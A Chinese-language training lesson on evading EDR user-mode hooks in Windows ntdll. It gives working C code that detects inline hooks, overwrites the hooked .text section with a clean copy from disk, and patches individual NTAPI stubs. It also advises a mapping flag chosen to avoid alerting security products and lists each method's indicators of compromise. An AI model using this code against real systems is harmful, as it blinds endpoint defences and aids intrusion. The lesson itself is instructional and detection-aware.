绕过用户态Hooking 在上个小节,我们讨论了 EDR 在用户态设置 Hook 的原理,那么相应地,我们可以根据这原理寻找间隙,实现对用户态 Hook 的绕过。截至目前,已经有多种方法绕过 Hook。不过,Hook 并非 EDR 的全部检测能力的来源,因此绕过 Hook 的这个过程本身可能就会被检测为恶意。不过无论如何,在这个小节,我们会过一下常见的一些用于绕过 Hook 的方法,以及它们的 IOC。在下个小节,我们会继续探讨绕过用户态 Hook 的方法,虽然会更加复杂一些。 检测内联 Hook 内联 Hook 的实施是在要 Hook 的 NTAPI 的 syscall stub 中的 syscall 指令之前用无条件跳转指令覆盖原有指令。不同的 EDR 可能会覆盖不同的指令,例如 CrowdStrike 覆盖的是 mov eax, SSN 这条指令,有的 EDR 覆盖的是 mov r10, rcx 这条指令。 因此,代码的逻辑便很直接,逐一检查 syscall stub 的前 4 个字节。在代码里,我们通过 PEB Walking 的方法在不调用 LoadLibray,GetModuleHandle,GetProcAddress 函数的情况下可以获得 ntdll 模块的地址、给定函数的地址。这么做可以避免 LoadLibray,GetModuleHandle,GetProcAddress 这些函数在 IAT 中的显示。 因为涉及对模块的解析,因此我们也会频繁用到 PE 文件相关的结构体。 #include #include #include #include #include //Get module handle for ntdll and kernel32 at the same time void GetModule(HMODULE* ntdll, HMODULE* kernel32) { PPEB peb = (PPEB)(__readgsqword(0x60)); PPEB_LDR_DATA ldr = *(PPEB_LDR_DATA*)((PBYTE)peb + 0x18); //PPEB_LDR_DATA pLdr = pPeb->Ldr; PLIST_ENTRY ntdlllistentry = *(PLIST_ENTRY*)((PBYTE)ldr + 0x30); *ntdll = *(HMODULE*)((PBYTE)ntdlllistentry + 0x10); PLIST_ENTRY kernelbaselistentry = *(PLIST_ENTRY*)((PBYTE)ntdlllistentry); PLIST_ENTRY kernel32listentry = *(PLIST_ENTRY*)((PBYTE)kernelbaselistentry); *kernel32 = *(HMODULE*)((PBYTE)kernel32listentry + 0x10); } BOOL CheckFuncByName(IN HMODULE hModule, const CHAR * funcName) { PBYTE pBase = (PBYTE)hModule; PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase; if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE) return false; PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew); if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE) return false; IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader; PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames); PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions); PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals); for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) { CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]); PBYTE pFunctionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]); if (_stricmp(funcName,pFunctionName)==0) { // Check if the first 4 bytes match 0x4C, 0x8B, 0xD1, and 0xB8 if (pFunctionAddress[0] == 0x4C && pFunctionAddress[1] == 0x8B && pFunctionAddress[2] == 0xD1 && pFunctionAddress[3] == 0xB8) { printf("NTAPI %s may not be hooked\n", funcName); } else { printf("NTAPI %s is hooked\n", funcName); return true; } return false; } } return false; } int main() { HMODULE ntdll; HMODULE kernel32; GetModule(&ntdll, &kernel32); printf("ntdll base address: %p\n", ntdll); printf("kernel32 base address: %p\n", kernel32); CheckFuncByName(ntdll,"NtAllocateVirtualMemory"); CheckFuncByName(ntdll, "NtOpenProcess"); CheckFuncByName(ntdll, "NtReadVirtualMemory"); CheckFuncByName(ntdll, "NtWriteVirtualMemory"); return 0; } 编译后,使用 WinDBG 来调试该程序,通过手动修改 NtOpenProcess 的第一条指令来模拟 hook。程序也成功地检测出 NtOpenProcess API 的指令被纂改。 替换 .text 节 我们知道 PE 文件的 .text 节是可执行代码的区域,权限是 RX。既然特定 NTAPI 被 hook 了,只要用干净的 ntdll 的 .text 节来覆盖,那么我们就会得到干净的代码,自然可以实现 unhook。 因此,我们首先要获得载入的 ntdll 模块的地址,这个我们已经用代码实现了。然后我们从磁盘读取 ntdll 文件,并存储在缓冲区中。需要注意的是,存储在缓冲区中的 ntdll 的内容是基于磁盘中的形式,即尚未映射到内存中。这样,我们有了 2 份不同的 ntdll 的地址,一份是被 hook 的,一份是干净的;一份是映射在内存中的,一份是基于磁盘形式的。因此,在将干净 ntdll 文件中的 .text 节覆盖被 hook 的 ntdll 的 .text 节时,我们需要稍加注意 PointerOfRawData 与 VirtualAddress,SizeOfRawData 与 VirtualSize。 typedef struct _IMAGE_SECTION_HEADER { BYTE Name[IMAGE_SIZEOF_SHORT_NAME union { DWORD PhysicalAddress; DWORD VirtualSize; } Misc; DWORD VirtualAddress; DWORD SizeOfRawData; DWORD PointerToRawData; DWORD PointerToRelocations; DWORD PointerToLinenumbers; WORD NumberOfRelocations; WORD NumberOfLinenumbers; DWORD Characteristics; } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; 以下面截图中的 ntdll 为例,在本地磁盘时,文件偏移为 0x400,尺寸为 0x11920。当被载入至内存时,RVA 是 0x1000,尺寸为 0x1190ce。我们需要注意到这差异。 因为两者 .text 节的尺寸有轻微不同,为了保险起见,我们适用尺寸更大的 .text 节来覆盖。之所以考虑这点,我是担心如果干净的 .text 节尺寸更小,那么没有完全覆盖,载入的 ntdll 的代码区还会有少量代码残留,可能在特定情况下导致意想不到的结果。尽管在本案例中干净的代码区尺寸更大,但在其他的操作系统版本可能是相反的情况,所以我们依旧需要考虑到。 #include #include #include #include void GetModule(HMODULE* ntdll, HMODULE* kernel32) { PPEB peb = (PPEB)(__readgsqword(0x60)); PPEB_LDR_DATA ldr = *(PPEB_LDR_DATA*)((PBYTE)peb + 0x18); //PPEB_LDR_DATA pLdr = pPeb->Ldr; PLIST_ENTRY ntdlllistentry = *(PLIST_ENTRY*)((PBYTE)ldr + 0x30); *ntdll = *(HMODULE*)((PBYTE)ntdlllistentry + 0x10); PLIST_ENTRY kernelbaselistentry = *(PLIST_ENTRY*)((PBYTE)ntdlllistentry); PLIST_ENTRY kernel32listentry = *(PLIST_ENTRY*)((PBYTE)kernelbaselistentry); *kernel32 = *(HMODULE*)((PBYTE)kernel32listentry + 0x10); } BOOL CheckFuncByName(IN HMODULE hModule, const CHAR* funcName) { PBYTE pBase = (PBYTE)hModule; PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase; if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE) return false; PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew); if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE) return false; IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader; PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames); PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions); PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals); for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) { CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]); PBYTE pFunctionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]); if (_stricmp(funcName, pFunctionName) == 0) { // Check if the first 4 bytes match 0x4C, 0x8B, 0xD1, and 0xB8 if (pFunctionAddress[0] == 0x4C && pFunctionAddress[1] == 0x8B && pFunctionAddress[2] == 0xD1 && pFunctionAddress[3] == 0xB8) { printf("NTAPI %s may not be hooked\n", funcName); } else { printf("NTAPI %s is hooked\n", funcName); return true; } return false; } } return false; } int main() { HMODULE ntdll; HMODULE kernel32; GetModule(&ntdll, &kernel32); printf("ntdll base address: %p\n", ntdll); printf("kernel32 base address: %p\n", kernel32); CheckFuncByName(ntdll, "NtOpenProcess"); HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("[!] CreateFileA Failed With Error : %d \n\n", GetLastError()); return -1; } DWORD dwFileLen = GetFileSize(hFile, NULL); DWORD dwNumberOfBytesRead; PVOID pNtdllBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileLen); if (!ReadFile(hFile, pNtdllBuffer, dwFileLen, &dwNumberOfBytesRead, NULL) || dwFileLen != dwNumberOfBytesRead) { printf("[!] ReadFile Failed With Error : %d \n\n", GetLastError()); return -1; } if (hFile) { CloseHandle(hFile); } PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdll; PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdll + hookedDosHeader->e_lfanew); PIMAGE_DOS_HEADER CleanDosHeader = (PIMAGE_DOS_HEADER)pNtdllBuffer; PIMAGE_NT_HEADERS CleanNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)pNtdllBuffer + CleanDosHeader->e_lfanew); for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) { PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); PIMAGE_SECTION_HEADER CleanSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(CleanNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) { LPVOID hookedTextSection = (LPVOID)((DWORD_PTR)ntdll + (DWORD_PTR)hookedSectionHeader->VirtualAddress); LPVOID CleanTextSection = (LPVOID)((DWORD_PTR)pNtdllBuffer + (DWORD_PTR)CleanSectionHeader->PointerToRawData); size_t size_TextSection = (hookedSectionHeader->Misc.VirtualSize > CleanSectionHeader->SizeOfRawData) ? hookedSectionHeader->Misc.VirtualSize : CleanSectionHeader->SizeOfRawData; DWORD oldProtection = 0; bool isProtected = VirtualProtect(hookedTextSection, size_TextSection, PAGE_EXECUTE_READWRITE, &oldProtection); memcpy(hookedTextSection, CleanTextSection, size_TextSection); isProtected = VirtualProtect(hookedTextSection, size_TextSection, oldProtection, &oldProtection); } } CheckFuncByName(ntdll, "NtOpenProcess"); return 0; } 编译后,我们使用 WinDBG 来调试该程序,为了模拟 hook,我们手动修改 NtOpenProcess API 的第一条指令,并且确认了该修改是成功的。在程序运行结束后,查看该 API,发现代码被恢复成原有的了。因此,通过替换 .text 节,我们可以实现对用户态 Hook 的绕过。 值得一提的是,我发现其他利用此方法的代码里,作者们用了 CreateFileMapping 与 MapViewOfFile 来将干净的 ntdll 载入至内存中。 HANDLE CreateFileMappingA( [in] HANDLE hFile, [in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes, [in] DWORD flProtect, [in] DWORD dwMaximumSizeHigh, [in] DWORD dwMaximumSizeLow, [in, optional] LPCSTR lpName ); LPVOID MapViewOfFile( [in] HANDLE hFileMappingObject, [in] DWORD dwDesiredAccess, [in] DWORD dwFileOffsetHigh, [in] DWORD dwFileOffsetLow, [in] SIZE_T dwNumberOfBytesToMap ); 使用这些 WinAPI 时,因为映像被映射到内存中,因此 Windows 加载器会适用变更的对齐系数,导致 .text 的偏移也不同。如果 CreateFileMappingA 的 flProtext 参数没有包含 SEC_IMAGE 或 SEC_IMAGE_NO_EXECUTE 标志,则不会适用新的对齐。但SEC_IMAGE_NO_EXECUTE 标志还是会更好一些,因为它不会触发 PsSetLoadImageNotifyRoutine 回调。这意味着当 ntdll.dll 被映射到内存时,使用此标志不会提醒接收映像载入通知例程的安全产品。 hSection = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE_NO_EXECUTE, NULL, NULL, NULL); if (hSection == NULL) { printf("[!] CreateFileMappingA Failed With Error : %d \n", GetLastError()); return -1; } // mapping the view of file of ntdll.dll pNtdllBuffer = MapViewOfFile(hSection, FILE_MAP_READ, NULL, NULL, NULL); if (pNtdllBuffer == NULL) { printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError()); return -1; } 好,我们来讨论一下该方法存在的 IOC: 从磁盘中读取 ntdll.dll 对于良性程序来说比较可疑 在 unhook 之前,我们需要用到一些敏感的函数,例如 VirtualProtect,WriteProcessMemory(可用于代替 VirtualProtect 和 memcpy 组合) 等 EDR 可以验证载入的 ntdll 的完整性以判断是否遭到了纂改 拓展 我们是从磁盘中读取 ntdll,其实我们还可以从 KnownDlls 目录、远程 web 服务器上读取。请查询资料以及所需的 API 的用法,进行实现作为练习。 补丁 NTAPI 相比替换整个 ntdll 模块的 .text 节,我们可以选择只补丁我们所需的且被 hook 的函数,这样,补丁的动作会相对小一些。相比之前的代码,我们可以硬编码或者动态地获得目标 NTAPI 的 syscall stub 指令字节,其实区别只在于 SSN。至于如何动态地获取 SSN,我们会在下一小节进行讲解,因此这里我们就硬编码 NtOpenProcess 的 syscall stub 好了。 需要略加注意的是,对于给定的函数,其地址很大概率不是与内存页对齐的,幸运的是,像 VirtualAlloc、VirtualProtect 这类函数会自动帮我们适用向下最近的页的地址。 对于代码,我们只需要增加硬编码的 NTAPI 的 syscall stub,以及对 CheckFuncByName 稍加修改。 #include #include #include #include void GetModule(HMODULE* ntdll, HMODULE* kernel32) { PPEB peb = (PPEB)(__readgsqword(0x60)); PPEB_LDR_DATA ldr = *(PPEB_LDR_DATA*)((PBYTE)peb + 0x18); //PPEB_LDR_DATA pLdr = pPeb->Ldr; PLIST_ENTRY ntdlllistentry = *(PLIST_ENTRY*)((PBYTE)ldr + 0x30); *ntdll = *(HMODULE*)((PBYTE)ntdlllistentry + 0x10); PLIST_ENTRY kernelbaselistentry = *(PLIST_ENTRY*)((PBYTE)ntdlllistentry); PLIST_ENTRY kernel32listentry = *(PLIST_ENTRY*)((PBYTE)kernelbaselistentry); *kernel32 = *(HMODULE*)((PBYTE)kernel32listentry + 0x10); } BOOL CheckFuncByName(IN HMODULE hModule, const CHAR* funcName, unsigned char* cleanNTAPI) { PBYTE pBase = (PBYTE)hModule; PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase; if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE) return false; PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew); if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE) return false; IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader; PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames); PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions); PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals); for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) { CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]); PBYTE pFunctionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]); if (_stricmp(funcName, pFunctionName) == 0) { // Check if the first 4 bytes match 0x4C, 0x8B, 0xD1, and 0xB8 if (pFunctionAddress[0] == 0x4C && pFunctionAddress[1] == 0x8B && pFunctionAddress[2] == 0xD1 && pFunctionAddress[3] == 0xB8) { printf("NTAPI %s may not be hooked\n", funcName); } else { printf("NTAPI %s is hooked, its address is 0x%x\n", funcName, pFunctionAddress); DWORD_PTR pageStart = ((DWORD_PTR)pFunctionAddress / 0x1000) * 0x1000; printf("Start address of the page is 0x%x\n", pageStart); DWORD oldProtection = 0; bool isProtected = VirtualProtect((PBYTE)pageStart, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtection); memcpy(pFunctionAddress, cleanNTAPI, 0xb); isProtected = VirtualProtect((PBYTE)pageStart,0x1000, oldProtection, &oldProtection); return true; } return false; } } return false; } int main() { HMODULE ntdll; HMODULE kernel32; GetModule(&ntdll, &kernel32); printf("ntdll base address: %p\n", ntdll); printf("kernel32 base address: %p\n", kernel32); unsigned char cleanNtOpenProcess[] = "\x4c\x8b\xd1\xb8\x26\x00\x00\x00\x0f\x05\xc3"; CheckFuncByName(ntdll, "NtOpenProcess",cleanNtOpenProcess); CheckFuncByName(ntdll, "NtOpenProcess",cleanNtOpenProcess); return 0; } 代码的 syscall stub 中保存的是最精简的指令,因为这足以成功发起 syscall。总之,通过补丁给定被 hook 的函数指令,可以实现对想要的函数进行 unhook。 对于此方法,虽然比替换整个代码区动静要小一些,但因为原理相似,论 IOC 其实是差不多的。 从挂起的进程中载入纯净 ntdll 模块 我们还可以通过读取挂起进程中载入的 ntdll 来获得纯净的副本,并用于 unhook。当进程以挂起或者被调试的状态被创建,此时只有 ntdll 被载入,EDR 还未来得及注入其检视 API 调用的模块。 在这之后,我们可以通过 ReadProcessMemory 来读取载入的 ntdll 模块的代码区。要能精准地获取干净副本的代码区并实现 unhook,我们可以通过以下的步骤实现: 使用 NtQueryInformationProcess API 获得远程挂起进程的 PEB 地址 通过 PEB Walking 的方法获得远程进程中载入的纯净 ntdll 地址。因为是远程进程,步骤会不那么直接一些。 因为都是已经载入到内存的 ntdll,解析当前载入的 ntdll 模块(即被 hook 的) 从而获取代码区的 RVA 以及尺寸 从纯净的 ntdll 模块的代码区开始读取,直到读取字节数达到尺寸 覆盖被 hook 的代码区实现 unhook 知道了原理与流程后,作为一道练习题,请学员们尝试自行完成完整代码,并分析该方法有哪些 IOC。